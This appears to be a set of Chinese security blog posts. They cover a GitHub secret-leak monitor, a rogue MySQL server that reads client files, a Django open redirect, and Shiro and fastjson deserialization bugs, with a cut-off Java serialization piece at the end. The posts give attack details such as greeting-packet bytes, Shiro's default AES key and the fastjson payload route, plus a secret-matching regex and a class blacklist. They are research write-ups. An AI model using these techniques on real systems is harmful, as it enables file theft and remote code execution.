弱小和无知不是生存障碍，傲慢才是。
How To Designing A Faster Than Faster GitHub Monitoring System
0x00 为什么需要这样的系统 近些年来，特别是2018年，各种不同的Github监控工具层出不穷，究其原因，还是每家企业生怕安全意识不足的员工将内部代码、账号信息上传至Github中，导致一些严重的安全问题，很有可能我们费劲千辛万苦构筑的边界防线，就被一个开发人员轻松的打破了。 GEYE GITHUB 传送门 目前市面上有许多种Github监控工具以及系统，有命令行的，有带界面的，有直接爬Github搜索页面的，也有借用API来搜索的，经过一些调研，发现各有特色，但是对于“开箱即用”等要求上，可能略有些距离。 本人在上家公司时，也曾负责过Github监控系统的开发与运营，经过很长时间的摸索，也总结了一些经验以及思路，并实现出了本文的主角GEYE监控系统（Github Eye）。在之前公司，Github监控系统应该说是经历了多次迭代，从最早的单文件脚本，逐步升级成了一个可视化的精确Github信息捕获系统，也多次先于白帽子发现了Github上的敏感信息，以及很多没有被外部发现的敏感信息。最快可在敏感信息被上传15分钟内捕获发现。 0x01 简谈设计思路 1. 整体设计思路 整体思路其实非常简单，就像把大象放到冰箱里一样，只有三步： 从Github获取我们感兴趣的信息 人工/自动筛选、过滤 入库并通知相关人员/系统 但是在每一步中，我在实现的时候，均会遇到一些比较坑的问题，也选取了不同的方案做了一些实验，最终得到了一个比较符合我预期的最佳方案，下面来简单介绍一下。 2. 获取信息 监控的第一步当然是要获取信息，获取信息的方式有很多，目前开源的监控系统里，有直接使用爬虫爬取搜索页面的，也有调用API的，当然我这里推荐的做法是调用官方的API来获取原始数据，说实话我不是很理解一些项目中通过直接爬取搜索页面获取数据的方式，也没有想到这样做有什么优势，甚至印象中好像还有某个项目为了避开Github的爬虫来源IP检测，还用Nginx搭建了一个反向代理集群来解决。所以我认为直接爬取搜索页面不是一个十分优雅的做法。 那么我们就剩下一条路可以选了，那就是利用Github提供的APIv3来获取原始数据。因为目前APIv4还不支持搜索代码，如果未来支持了，GEYE也许会切到APIv4上。 我们先来看一下搜索代码的API文档：https://developer.github.com/v3/search/#search-code 怎么用这里就不说了，相信大家都会用，我们只说一说需要注意的问题。首先这个q参数就是我们想查询的关键字，比较好理解，但是我们除了要添加关键字之外，还要额外添加一些参数，那就是fork，这个参数是用来指定“是否搜索fork”仓库的，如果这个值为true，那么这个接口会返回来自fork的仓库的数据，如果某个很著名的仓库（例如fastjson）中命中了你的关键字，那么你可能会拿到无数的重复信息，这不是我们希望看到的；我们希望的是尽可能多的获取不同仓库的信息，而不是同样的内容返回一万遍。 另外一点，我们其实希望尽可能快的获取到“新鲜”的泄露信息，所以我们还要修改这个接口的默认排序方式。默认情况下，Github会为我们返回最匹配的结果，无论这个代码是什么时候被上传的。所以我们需要指定sort参数。 结合起来，我们最后的请求参数可能是这样的：/code/search?q=keyword+fork:false&sort=indexed 说完关键字之后，应该就可以开始写爬虫调用API了，但是这里还有一点，Github为了防止我们滥用API，会有频率限制。正常情况下，每个Personal Access Token的频率是每分钟可以请求30次API接口，如果调用过快，会触发滥用警告，就是会限制你的token 1分钟。如果是通过OAuth2授权的App级别的token，请求上限会高很多。 基于这样的限制，我们没必要去优化我们的爬虫让他爬的很快，因为同样时间下，调用的频率是被限制好的。我们只需要利用普通的多线程爬虫获取数据即可。 3. 筛选信息 当我们将数据取回后，就需要决定哪些数据需要被人工确认，或是直接确认，哪些数据需要被丢弃。当然一股脑的将所有代码全都交给人工来判断也不是不可以，只要你的精力足够。 我们当然希望系统能够自动帮我们过滤掉一些无用的数据才好，我们人工只关心最有可能是泄露的部分，那么这就要考验我们的筛选模块了。 一开始，我是以API接口返回的代码段作为“基础值”，来进行过滤的，但是后来发现，接口返回的代码段里，其实并不会完全包含你的关键字。举个例子，比如你搜索的是corp.lightless.me，但是返回的代码段中，可能更多的是包含了corp、lightless、me三个分开的单词的结果，这也为我们过滤信息造成了一定的困扰。 再举一个例子，我们搜索的内容是lightless.me+password，那么返回的代码段中，很有可能只包含lightless.me的结果，而关于password部分的代码段没有被返回回来，这样情况过滤的时候，就有可能漏掉了。 为了避免这些情况，我的解决方法可能有些蠢，就是利用返回的信息，拼出raw.githubusercontent.com对应的代码文件，将其拉取回来，作为代码部分过滤的基底，这样的情况下可能相对来说会更准确一些。 需要过滤的内容不只是代码内容，还有username、repoName、filename、path等，也需要作为自动过滤的考量。至于为什么，大家可以自己尝试探索一下。 4. 存储信息 对于存储信息来讲，其实没有什么好说的了，关键问题在于如何去重。Github天生的sha值就是一个很好的去重参考值。我们考虑下面这样一个场景： 如果某个文件，第一次被处理的时候，出现了敏感信息，并且入库保存； 当文件更新了新的敏感信息后，这时候如果以文件名、仓库名等信息去重，就会认为已经和库内的信息重复了，无法正常入库，导致我们错过了重要的信息。 而每个文件都具有一个sha值，当文件变动的时候，这个值也会跟着变动，所以我们不用去费劲心思设计去重的指标，利用这个sha值就好了，这也是API接口会返回给我们的数据之一。 0x02 规则系统设计 规则系统应当算是这个系统的核心以及亮点，设计了一套自认为比较完善的搜索规则加过滤规则系统。整体来看，规则系统分为三大部分，分别是：搜索规则，过滤规则，全局过滤规则。 1. 搜索规则 搜索规则比较容易理解，其实就是搜索的关键字，用于初筛数据。每个搜索规则会含有多个过滤规则，用于第二层过滤数据。搜索规则的话，一般是搜索某个企业的内网域名，这样搜到敏感信息的命中率会比较高一些，比如corp.example.com，inner.example.com，example.net，example.org等等，每家公司都有自己的内网域名定义方式，如果是白帽子，可能就需要细心收集了。 当然这里也是有一些trick的，根据Github的搜索文档，会发现有全字匹配的搜索方式，即用双引号把关键字包起来："corp.example.com"，这样搜到的内容中会大部分含有完整的域名，而不是分开的三个单词，在实际使用的时候，是使用全字搜索还是非全字搜索，这都要针对不同的情况进行选择了。 2. 过滤规则 这就是第二层的具体过滤规则了，用于从初筛回来的数据中提取敏感信息、过滤垃圾信息等等。我在这里设计的时候，支持两种方式，字符串匹配以及正则，对于一些简单的情况，就可以直接利用字符串code.contains("keyword")的方式来匹配，当需要进行复杂的过滤的情况，就可以使用正则来匹配，比如(token|password|passwd|access[_]*key|secret[_]*key)["']*\s*(\=|\:)这种情况。 设计字符串匹配的原因还有一点，就是因为Python本身的正则匹配存在一些坑点。有时候会搜到一些.json文件，而这个文件只有一行，大小一般在几十KB上下，这时候Python的正则匹配会非常的慢，甚至导致DoS问题，进而整个过滤线程都卡死了，影响到整个系统的正常运行。 所以这里我在设计的时候，除了使用Python内置的正则，还调用了grep命令来解决这个问题，这样虽然会额外消耗一些新开进程的资源，但是整体来说会相对稳定一些。 3. 全局过滤规则 全局过滤规则，顾名思义，就是作用于所有搜索规则的过滤规则，为什么要这样做呢？想必做过Github信息泄露监控的同学会遇到过这种问题，搜索到的内容经常是一些垃圾信息，但是非常具有通用性，比如example.github.io的仓库名，这些一般都是静态博客，里面的一些html中经常误报。甚至是其他的html文件也会经常误报。对于这种情况，如果为每一条搜索规则都添加过滤规则的话，会十分重复。如果有上百条搜索规则的话，加起来怕是要累死。所以我设计了一个全局过滤规则，这样就可以在真正的进行过滤前，过滤掉一些无用的数据。 0x03 重点监控规则 很多时候，我们除了需要定时搜索敏感信息外，可能还想定时监控某个仓库、某个用户的行为，是不是上传了某个敏感文件，FastJSON是不是又有了安全更新，如果可以拿到这些信息，那么在对于我们研究一些组件的安全性、还是定点监控某个仓库、用户的行为，都有很大的帮助。 为此，特意为GEYE添加了重点监控功能，是基于Github的Events机制来完成的。 举几个可能会用到的场景：比如我需要监控FastJSON仓库的每一次push行为，来及时的获取更新内容，看看是不是有安全更新，如果有安全相关的更新，那么可以马上diff代码，查找相关可能出现漏洞的地方，并且及时的在公司内部安排新版本修复计划。另一方面，也可以分析出最新的PoC，添加到扫描器中扫一波。 还有些时候，发现了某用户或某仓库，出现了疑似敏感信息，例如内部数据库的账号密码，但是无法完全确定。或者是需要监控公司开源的仓库项目是否会出现敏感信息的情况。这个时候可以利用重点监控功能监控该仓库或该用户，一旦该用户提交了新的代码，可以马上发现，并进一步进行排查。可能有同学会问：就算他提交了敏感信息，普通的通过API搜索不也会发现吗？答案是确实可以，但是这里涉及到了一个时效性的问题。 纵观市面上的全部Github监控，细心的你一定可以发现，无论是多么优秀的工具（包括GEYE），都无法做到实时的发现，即便是无搜索间隔和无限的Token，永远都存在一个10~15分钟的延迟。也就是说，当你push了代码到Github上，都需要10~15分钟后，你这份代码才可以被通过API搜索到。个人猜测这个延迟是Github本身对新提交的代码进行索引的时间，只有被Github索引过的代码，才能够通过API搜索到。而对于events来说，则不存在这个限制，当用户的push操作完成后，就会产生一个PushEvent，不存在很明显的延迟（除非你监控的是public event，这个有5分钟的延迟）。所以重点监控功能，既可以弥补一些时间上的问题，也可以做到对单个用户、仓库的精确打击，还可以和公司业务结合，精准监控开源项目。 目前仅仅实现了针对PushEvent和ReleaseEvent事件的监控，后续计划支持更多的事件类型。 0x04 未来发展计划 GEYE作为一款真正意义上的“企业级”监控系统还差的比较远，当然也是在不停的完善之中。对于这个系统的未来发展，有一些不成熟的想法，可以先写出来，立个flag，看看后面会不会实现起来。 在开始之前本来以为是个小项目，但是越写越大了，这个坑怕是填不好了。GEYE GITHUB 传送门 Server/Agent拆分，可快速横向扩展Agent 重点监控的内容支持规则过滤，只保留命中规则或未命中规则的事件 更多暂时未想到的功能 目前已经完成了第一个release版本，由于是利用业余时间更新的，所以迭代可能会非常慢，一天也只能修一个bug、加一个小feature而已。最后贴一张目前的效果：
这应该是一个比较老的问题了，前几天看到其他人聊到这个问题，拿出来分析一下。 简单的讲，就是我们可以伪造一个MySQL的服务端，甚至不需要实现MySQL的任何功能（除了向客户端回复greeting package），当有客户端连接上这个假服务端的时候，我们就可以任意读取客户端的一个文件，当然前提是运行客户端的用户具有读取该文件的权限。 在复现的时候，有些地方踩到了一些坑，原作者没有说明，特此记录一下。 0x00 LOAD DATA INFILE 这个问题主要是出在LOAD DATA INFILE这个语法上，这个语法主要是用于读取一个文件的内容并且放到一个表中。通常有两种用法，分别是： load data infile "/data/data.csv" into table TestTable; load data local infile "/home/lightless/data.csv" into table TestTable; 有时候也会与FIELDS TERMINATED BY '\n'一起使用，效果更佳。这两种用法的区别就是差了一个local，第一个SQL语句的意思是，读取服务器上/data/data.csv文件，并写入到TestTable中；第二个SQL语句的意思则是，读取本地（客户端）这边的/home/lightless/data.csv文件，并写入到TestTable中。而我们这次要利用的也就是LOAD DATA LOCAL INFILE这种形式。 通过查阅MySQL的官方文档，在文档上，官方也指出了这个语法的问题： 那么接下来，我们来看下如何构造一个恶意的MySQL服务端来读取客户端的文件。 0x01 Capture The Package 如果想构造这样的服务端，首先要搞明白MySQL的交互流程，测试环境如下： Ubuntu 18.04 MySQL官方APT仓库安装的5.7.23 通过Wireshark抓取3306端口的数据包，一开始发现MySQL的数据包全部走了SSL通信。 仅有一开始的两个MySQL的包，后面全是SSL数据了，这样也就没法搞明白是怎么读客户端文件的了。我们需要把SSL关掉，只需要关闭MySQL Client端的SSL即可，在配置文件的[mysql]节添加skip_ssl（或者关掉服务端的SSL支持也可以）： 这样Wireshark中就可以抓到正常的数据包了。会发现一共有这样几步： greeting包，获取服务端的banner； 登录请求包； 初始化的一些查询，比如select @@version_comment limit 1之类的； 接下来我们找到关键的LOAD DATA INFILE数据包，第一个包看起来比较正常，是客户端发起的Request Query，如果你无法使用LOAD DATA INFILE语法的话，考虑在连接MySQL的时候加上--enable-local-infile选项，或者设置local_infile全局变量为ON 但是紧接着，服务端回复了一个包含刚刚请求中文件名的包，这里把/etc/passwd又给发回去了： 然后客户端向服务端发送了/etc/passwd文件的内容： 看到这里，也许开始有点想法了，如果我们在客户端发送查询之后，返回一个Response TABULAR数据包，并附上我们指定的文件，是不是就可以读取客户端的文件了，答案是肯定的。正如官方文档中提出的安全风险，"In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement."，可以看到，客户端读取哪个文件其实并不是自己说了算的，是服务端说了算的，形象一点的说就是下面这个样子： 客户端：hi~我将把我的data.csv文件给你插入到test表中！ 服务端：OK，读取你本地data.csv文件并发给我！ 客户端：这是文件内容：balabal！ 正常情况下，这个流程不会有什么问题，但是如果我们制作了恶意的客户端，并且回复服务端任意一个我们想要获取的文件，那么情况就不一样了。 客户端：hi~我将把我的data.csv文件给你插入到test表中！ 服务端：OK，读取你本地的/etc/passwd文件并发给我！ 客户端：这是文件内容：balabal（/etc/passwd文件的内容）！ 看到这里可能有同学会问，“即便可以读任意文件，那也要等到客户端发起LOAD DATA INFILE”的时候才能回复呀！如果你刚才仔细阅读官方文档上的安全风险的话，会发现有这么一句："A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL" 伪造的服务端可以在任何时候回复一个file-transfer请求，不一定非要是在LOAD DATA LOCAL的时候。这里有一点要说明的是，如果想要利用此特性，客户端必须具有CLIENT_LOCAL_FILES属性，这一点也会在下文提到的官方数据包格式文档中有所说明，这也是为什么在前面测试的时候需要添加--enable-local-infile的原因。 0x02 Pseudo Server 那么我们现在可以开始制作我们的服务端了，主要是以下几个步骤： 向MySQL Client发送Server Greeting 等待Client端发送一个Query Package 回复一个file transfer请求 现在要解决的就是两个问题，分别是Server Greeting包和file transfer包的格式，不过也不难，这些包的格式都可以在MySQL的官方文档上找到，首先来看File Transfer的包格式，Protocol::LOCAL_INFILE_Request，这幅图也可以发现，我们需要等待一个来自Client的查询请求，才能回复这个读文件的请求 官方文档上还贴心的准备了一个Example： 0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 77 64 ...../etc/passwd 数据包的内容其实是从\xfb开始的，这个字节代表包的类型，后面紧跟要读取的文件名。前面的0x0c是数据包的长度（从\xfb开始计算），长度后面的三个字节\x00\x00\x01是数据包的序号。 同理，我们很容易就能根据这份文档获取Greeting的数据包结构。如果感觉自己伪造比较困难的话，可以直接提取前面通过Wireshark抓到的包，修改一下长度、文件名之类的字节即可。 这里给一个Greeting包的样例，每个字段的作用均已表明，参考文档不难理解。 '\x0a', # Protocol '6.6.6-lightless_Mysql_Server' + '\0', # Version '\x36\x00\x00\x00', # Thread ID 'ABCDABCD' + '\0', # Salt '\xff\xf7', # Capabilities, CLOSE SSL HERE! '\x08', # Collation '\x02\x00', # Server Status "\x0f\x80\x15", '\0' * 10, # Unknown 'ABCDABCD' + '\0', "mysql_native_password" + "\0" 接下来就是动手写PoC了，如果不想自己动手，可以参考“参考文档”中的PoC。 一开始构造好的时候，用客户端去连接，总是提示ERROR 2026 (HY000): SSL connection error: protocol version mismatch或者ERROR 2027 (HY000): Malformed packet。如果你在构造PoC的时候也出现了这种问题，很大可能是握手包构造的有问题，对照文档仔细检查。客户端默认是支持SSL的，服务端需要告诉客户端服务端不支持，我通过两次分别抓“服务端支持SSL”和“服务端不支持SSL”的包进行比对，再参考文档，找到了关闭SSL的方法，就是Capabilities这两个字节，\xf7则表示不支持SSL，如果不明白，抓个包比对一下就懂了。 仔细观察下图中的各种字段，避免踩坑。 0x03 Exploit it! a. MySQL Client 使用MySQL Client进行测试，效果拔群： b. PHP with mysqli PHP通过mysqli连接恶意数据库，效果拔群： c. PHP with PDO 默认未开启MYSQL_ATTR_LOCAL_INFILE属性，需要手工开启才可以以。 d. Python with MySQLdb 原作者说无效，但是我测试了一下，效果拔群。 e. Python3 with mysqlclient 效果拔群。 f. Java with JDBC Driver 效果拔群。 z. Others 其他语言各位可以自行测试。 0x04 Defense And Thinking 对于这种攻击的防御，说起来比较简单，首先一点就是客户端要避免使用LOCAL来读取本地文件。但是这样并不能避免连接到恶意的服务器上，如果想规避这种情况，可以使用--ssl-mode=VERIFY_IDENTITY来建立可信的连接。 当然最靠谱的方式还是要从配置文件上根治，关于配置上的防御问题，可以参考这篇文档进行设置。 用途的话，做蜜罐是肯定可以的，但是受众面好像不太完整，各种语言的支持都不太一样，比如Python中的MySQLdb包，原作者说这个包不受影响，但是我测试的时候确是受影响的，而PHP+PDO的方式又不受影响，所以能否中招还是要靠一些运气。 而且这些语言中的三方包在连接MySQL的时候，基本上在连接成功之后都会发出一下SELECT语句来查询一些版本号、编码之类的数据，这就达成了前面提到过的第二个攻击条件：等待客户端发来一个QUERY请求，所以如果这些第三方包允许执行LOAD DATA INFILE，危害还是比较大的。 0xFF 参考文档 http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
[CVE-2018-14574] Django Open redirect possibility in CommonMiddleware
今天在刷RSS的时候看到了Django发了个新版本，修了个CVE，然后简单的看了下。 先放上release note和github的commit。 https://www.djangoproject.com/weblog/2018/aug/01/security-releases/ https://github.com/django/django/commit/a656a681272f8f3734b6eb38e9a88aa0d91806f1 看描述是修复了一个CommonMiddleware+APPEND_SLASH选项的任意URL跳转，根据github上修改的几个文件，可以看出来，主要变动是在django/middleware/common.py这个文件中，对获取到的path进行了一次编码。 众所周知，漏洞中提到的这个APPEND_SLASH的选项，默认为True，且默认没有在settings.py中显示的设置。这个设置的作用也比较简单，当请求的URL在路由表中无法匹配时，并且请求的URL末尾不是以/结尾的，那么Django会自动在请求的URL末尾添加一个/，并且再次匹配路由表，然后进行正常的处理流程； 也就是说，在这个过程中，会发生一次跳转，那么这个任意URL跳转漏洞应当也是在这块出现的，我们新建一个Django项目，使用2.0.7版本。 urls.py from django.urls import path from vuln.views import VulnView urlpatterns = [ path("<path:jump_url>/", VulnView.as_view(), name="vuln_view"), ] views.py from django.views import View from django.http import HttpResponse class VulnView(View): def get(self, request, jump_url): return HttpResponse(jump_url) 然后我们在CommonMiddleware这个类中的process_request方法下断： 然后请求http://localhost:8000//lightless.me，注意末尾不能加/，调试的时候建议将浏览器的cache关掉，否则会影响我们调试。 向下走会遇到一个should_redirect_with_slash方法，这个方法是用来判断上面提到过的逻辑：是否需要添加/后重新匹配路由表，如果需要添加，会继续调用self.get_full_path_with_slash方法，实际上就是对request.get_full_path的一层封装。 然后我们会拿到处理过后的path//lightless.me/，接着就会将这个path传给self.response_redirect_class方法，这个实际上就是用来处理重定向的一个类。 跟进之后，会看到在这里设置了Response的Location属性为前面得到的path，并且设置了状态码为301 虽然这里会检查跳转目标URL的协议，但是并没有什么用，这里的scheme不存在，自然是可以绕过这个限制，后面就是正常跳转流程。 让程序继续跑下去，回过来看浏览器，页面已经跳走了。 整个流程还是比较简单的，但是利用条件也比较苛刻，可能会在一些大型的CMS或其他的系统中出现吧，例如某些CMS会接管Django的路由并且使用自己的路由系统，感觉可能也不太常见。通常情况下我们的路由很有可能是写成这个样子： path('vuln/<path:jump_url>/', VulnView.as_view(), name="vuln_view"), 很有可能中间还会有个路径，而不是直接就接收参数，这种情况下我目前还没有想到好的利用方法。
[Java unserialization] Apache Shiro <= 1.2.4 反序列化漏洞分析
0x00 Apache Shiro 这个组件的漏洞应该算是很久很久之前就爆出来了，但是最近工作中又遇到了，刚好最近也在看Java反序列化的东西，所以决定拿出来再分析一下，期间也遇到了一些奇怪的问题。 网上的分析文章中大部分都是手动添加了commons-collections4-4.0的依赖，目的是为了使用ysoserial生成的CommonsCollections2这个payload，然而我遇到的情况是使用了CommonsBeanutils1就可以直接打成功，所以这里我们不再重复网上对CommonsCollections2的分析了。 0x01 调试分析 调试环境： JDK 1.8.0_72 Tomcat 8.0.30 首先我们把shiro的源码clone回来，并切到有问题的分支上去。 git clone https://github.com/apache/shiro.git shiro-root cd shiro-root git checkout 1.2.0 为了能让shiro自带的sample跑起来，要对samples/web/pom.xml文件做一些修改，需要将jstl的版本改为1.2，并且删掉servlet-api的scope字段。同时将jstl-1.2.jar放置在WEB-INF/lib下面。然后应该就可以跑起来并且调试了。 我们将断点打到org.apache.shiro.mgt.DefaultSecurityManager中的resolvePrincipals方法，并且发送一个带有rememberMe Cookie的请求，应该就可以断下来了。 我们继续跟进这个getRememberedIdentity方法： 继续一直跟到getRememberedSerializedIdentity方法： 在这个方法中，读出了我们传入的Cookie，并且进行了base64解码： 接下来shiro会调用convertBytesToPrincipals并将base64解码后的字节数组作为参数传入： 这里通过函数名也能猜出来，进行了两个操作，分别是解密和反序列化，我们先来看解密部分，经过简单的调试后，发现是一个AES解密，并且存在一个预设秘钥Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");，在shiro自带的sample中，并没有通过其他的方式设置这个秘钥，所以这里用的就是这个预设值。 而AES解密中遇到的IV也是从我们传入的Cookie中的前几个字节中获取的，于是我们可以轻易的构造出包含任意内容的Cookie值，解密好的明文就是序列化的内容，调用了deserialize进行反序列化。 最终会调用到org.apache.shiro.io.DefaultSerializer#deserialize方法进行反序列化： 整个流程十分简单，简要概括一下就是：读取cookie -> base64解码 -> AES解密 -> 反序列化 所以我们的payload构造起来也是十分的简单，完整的PoC我会放到我的GitHub上。 0x02 疑点解惑 在调试的过程中，遇到了一些问题，并没有成功的弹出计算器，这里记录一下。 1. 为什么本地搭建环境，使用CommonsBeanutils1打不成功，总是提示ClassNotFound异常？ 这个问题我当时调试了好久，一度以为是payload有问题或者shiro的代码因为年代久远有了变化，因为当时遇到的case就是这个payload一发入魂的，表示十分的迷茫。后来发现了关键问题，我们从github上clone到的sample中，commons-beanutils这个依赖的版本是1.8.3，而ysoserial生成的payload的版本是1.9.2，所以在默认的sample中是无法打成功的。于是我修改版本号到1.9.2，一发入魂。 所以遇到的那个案例中，实际的依赖环境版本可能也是这样的吧，所以才能直接打成功。 2. 假如我的依赖中就是没有高版本的commons-beanutils和commons-collections之类的包，怎么利用？ 这个项目clone下来之后，可以看到是存在一个commons-collections的包的： 但是使用ysoserial提供的CommonsCollections1是无法成功的，会爆出一个异常： 这就十分的奇怪了，为什么偏偏无法反序列化byte array类型，调试了一下发现是在这里抛出的异常： 查了一下Java中Class.forName()以及ClassLoader.loadClass()的区别，发现forName()总是使用调用者的ClassLoader()，而loadClass()则是可以自己指定一个不同的ClassLoader。那shiro中的ClasssLoader是怎么来的？是通过Thread.currentThread().getContextClassLoader();获取的，也就是WebappClassLoader。但是为啥提示无法加载byte array呢，搜索了一番看到了orange博客下面的讨论，了解到了整个事情的真相： Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class。 具体的部分我在这里就不展开讨论了，我在后面贴上原作者的链接，各位同学可以去研究一下，包括在低版本下反弹shell的方法，在orange的博客中也有讲到。 0xFF 参考链接 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 Pwn a CTF Platform with Java JRMP Gadget Loading an array with a classloader
[Java unserialization] fastjson <= 1.2.24 反序列化漏洞分析
0x00 fastjson fastjson是一个非常流行的库，可以将数据在JSON和Java Object之间互相转换，但是在2017年官方主动爆出了fastjson的反序列化漏洞以及升级公告，这次我们就学习一下这个漏洞。 最终的payload会放到我的GitHub上。 这次使用的fastjson是1.2.23版本： <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency> 在分析漏洞之前，我们先看下这个库都有什么样的功能，我们先创建一个User对象： class User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } } 我们主要关注一下从JSON还原回Object的方法，主要的API有两个，分别是JSON.parseObject和JSON.parse，最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象，当在没有对应类的定义的情况下，通常情况下都会使用JSON.parseObject来获取数据。 fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象，在反序列化的时候方便操作。 String myJSON = "{\"@type\":\"me.lightless.fastjsonvuln.User\",\"age\":99,\"username\":\"lightless\",\"secret\":\"2333\"}"; JSONObject u3 = JSON.parseObject(myJSON); System.out.println("u3 => " + u3.get("secret")); 如果需要还原出private成员的话，还需要加上Feature.SupportNonPublicField： User u3 = (User) JSON.parseObject(myJSON, User.class, Feature.SupportNonPublicField); 0x01 跟踪分析 根据官方的公告中的WAF检测方法来看，问题很有可能是因为反序列化了任意类型的class从而导致的RCE。 从网上找到的payload中也能看出利用的是TemplatesImpl来执行的命令，这个在之前的JDK7u21中已经分析过了，可能还存在其他的执行命令方法，这些我们暂且不谈，主要来看fastjson的部分。 我们搭建一个简单的Web应用来接受用户POST过来的JSON并且进行反序列化： @RestController public class IndexController { @RequestMapping(value = "/fastjson", method = RequestMethod.GET) public String fastjson() { return "Hello World!"; } @RequestMapping(value = "/fastjson", method = RequestMethod.POST) public JSONObject testVuln(@RequestBody String data) { JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); JSONObject ret = new JSONObject(); ret.put("code", 1001); ret.put("data", "Hello " + obj.get("name")); return ret; } } 传入我们带有@type类型的JSON字符串并且开始调试。在JSON.parseObject处下断并开始向下跟。 一开始会跟进到JSON.parse方法，并且调用了parse()方法继续进行JSON格式的匹配。继续跟进parser.parse()方法。 到了这里之后，开始依次进行JSON的解析，我们传入的第一个字符是{，所以进入LBRACE这个分支中，并继续进入parseObject(object, fieldName)方法来解析对象。 这个时候lexer所在的字符为"，会进入下面这个分支继续解析JSON字符串，通过scanSymbol方法获取到双引号之间的字符串也就是@type 之后会获取@type字段的值，并且尝试获取这个类的Class，经过一系列的判断后，调用了deserializer.deserialize(this, clazz, fieldName)方法进行反序列化。 一开始没找到sortedFieldDeserializers是在什么地方生成的，想仔细跟一下代码，于是就从头到尾的看了下getDeserializer(clazz)的部分，发现是在这里生成的。这个函数的目的是获取一个可以反序列化我们通过@type指定的类的deserializer，由于预定于的列表中没有，于是会继续调用createJavaBeanDeserializer()来生成一个，实际上是调用了ParseConfig.build()方法，其中会通过反射机制获取我们指定类的一些信息，通过对method进行一些过滤，猜测出getter和setter并推出一些可能存在的field。 具体的猜测规则这里不展开说明了，感兴趣的话可以自行跟一下 紧接着就依次处理JSON字符串中的各个字段，当匹配到payload中的_tfactory字段的时候，由于我们传入的JSON字符串中是一个空的对象，进入parseField方法后，继续向下跟就会调用到JavaBeanDeserializer.deserialize()方法，在这里会为_factory创建一个TransformerFactoryImpl对象并赋值。 同样的，_outputProperties字段我们也是传入了一个空对象，会进入和上面相同的流程，仔细分析一下这段代码，这里是触发命令执行的关键部分。 首先依然会进入parseField方法 进入之后会调用smartMatch(key)方法，这个方法的主要作用是进行一些『智能匹配』，方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等，所以当我们传入了_outputProperties的时候，实际上就给处理成了outputProperties，并返回对应的FieldDeserializer对象，之后就会调用该对象的parseField方法。进入该方法后，就会调用setValue(object, value)方法，继续跟进。 跟进之后显而易见，getOutputProperties被调用了： 然后就会执行我们在_bytecodes构造的恶意字节码，造成命令执行。 0x02 一些疑问 根据上面的流程，我们应该已经可以写出PoC了，这里就不占用篇幅展示了，直接放到了我的GitHub上。 一开始在构造的时候发现字节码中存在许多的不可显字符，网上公开的PoC中使用了base64来编码，感觉非常神奇，为什么fastjson会帮我们解码呢？于是构造了数组传入之后，发现fastjson在处理[B类型的数组时，会调用lexer.bytesValue()，其中的lexer就是JSONScanner，这个bytesValue()方法会自动帮我们执行一次base64解码，所以我们构造payload的时候只需要传入base64编码后的内容即可。 至此，其实整个流程已经走完了，但是还有一点令我们非常难受，就是我们的demo中，在接收JSON的时候设置了Feature.SupportNonPublicField。默认情况下fastjson只会反序列化public的方法和属性，而我们构造的PoC中有private的成员变量_bytecodes和_name，为了给这些变量赋值，则必须要假设服务端开启了SupportNonPublicField功能。 而现实情况下，大部分都是parse(json)和parseObject(json)一把梭，使用这个功能的情况不是很多，这样一来就导致我们的PoC没有了良好的通用性，那么有没有解决方案呢？答案当然是有的，那就是不使用TemplatesImpl，换一种RCE的触发方式即可。在网上经过一番搜索，发现了一些可以利用的方法 主要是利用JNDI+RMI方法，这个可以参考之前的spring-tx.jar的反序列化问题，当时就是采用这种方式来触发的。但是调用链不太好找，这个PPT中给出了多个利用链，这里的调用链后续再进行分析，这里暂且不做验证。 这样一来，只要是开发同学在编写代码时，直接反序列化了用户传入的JSON，就有可能造成RCE，而攻击者也无需关心SupportNonPublicField是否开启了，危害提高了许多。 0x03 修复措施 在fastjson的官方补丁中，将loadClass(typeName, config.getDefaultClassLoader())替换为了config.checkAutoType(typeName)，并且扩充了黑名单列表，将传入的类名与黑名单一一比较，如果发现了相同开头的类就停止反序列化。 // 新增的黑名单 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework 可以看到绝大部分常用的类都已经被加进来了，但是如果不经常维护此名单，一旦后面出现了新的可以利用的类，很容易就绕过这个限制。
这篇又是一个升华，之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 0x00 TLDR 之前在第一篇文章中我们简单的讲了一下Java的序列化机制，即通过ObjectOutputStream和ObjectInputStream来实现序列化和反序列化，但是内部的机制和原理一并跳过了。 JRE8u20这个漏洞是其他人在之前的JDK7u21的基础上进行改进得到了，他绕过了JavaSE后续对AnnotationInvocationHandler类的修复，阻止了这个类反序列化任意类型的对象。 在研究JRE8u20这个漏洞之前，我们有必有对Java的序列化机制进行深入研究了。 0x01 Java序列化机制 关于Java的序列化格式以及协议字段释义可以参考这篇文档，如果想要深入学习序列化机制，强烈建议仔细阅读这篇文档，我们先通过代码来看一下序列化格式： class AuthClass implements Serializable { private static final long serialVersionUID = 100L; private String password; public AuthClass(String password) { this.password = password; } private void readObject(ObjectInputStream ois) throws Exception { ois.defaultReadObject(); if (!this.password.equals("root")) { throw new Exception("Wrong Password."); } } } // 序列化的时候写两次 